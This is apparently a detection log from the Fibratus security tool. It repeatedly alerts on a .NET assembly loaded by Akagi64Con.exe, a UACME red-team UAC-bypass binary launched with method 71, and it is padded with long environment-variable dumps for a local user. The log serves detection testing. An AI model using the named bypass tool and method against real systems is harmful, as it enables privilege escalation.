Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:8e8ec1a8-04b4-42aa-812e-e904ff39b295 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-25T15:18:23+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\MSBuild\b96ca1c8ee1df2fd3676867d71b16ae7\MSBuild.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 1673606 + Pid: 11932 + Tid: 1776 + Type: LoadImage + CPU: 1 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-25 15:18:00.1019933 +0100 CET + Params: base_address➜ 7ffb3ff70000, checksum➜ 0, default_address➜ 7ffb3ff70000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\MSBuild\b96ca1c8ee1df2fd3676867d71b16ae7\MSBuild.ni.exe, image_size➜ 1708032, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 11932, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: rule.name: .NET assembly loaded by unmanaged process, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/ + + Pid: 11932 + Ppid: 17776 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:8e8ec1a8-04b4-42aa-812e-e904ff39b295 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-25T15:18:23+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\MSBuild\b96ca1c8ee1df2fd3676867d71b16ae7\MSBuild.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 1673606 + Pid: 11932 + Tid: 1776 + Type: LoadImage + CPU: 1 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-25 15:18:00.1019933 +0100 CET + Params: base_address➜ 7ffb3ff70000, checksum➜ 0, default_address➜ 7ffb3ff70000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\MSBuild\b96ca1c8ee1df2fd3676867d71b16ae7\MSBuild.ni.exe, image_size➜ 1708032, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 11932, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: technique.ref: https://attack.mitre.org/techniques/T1055/, rule.name: .NET assembly loaded by unmanaged process, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection + + Pid: 11932 + Ppid: 17776 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT 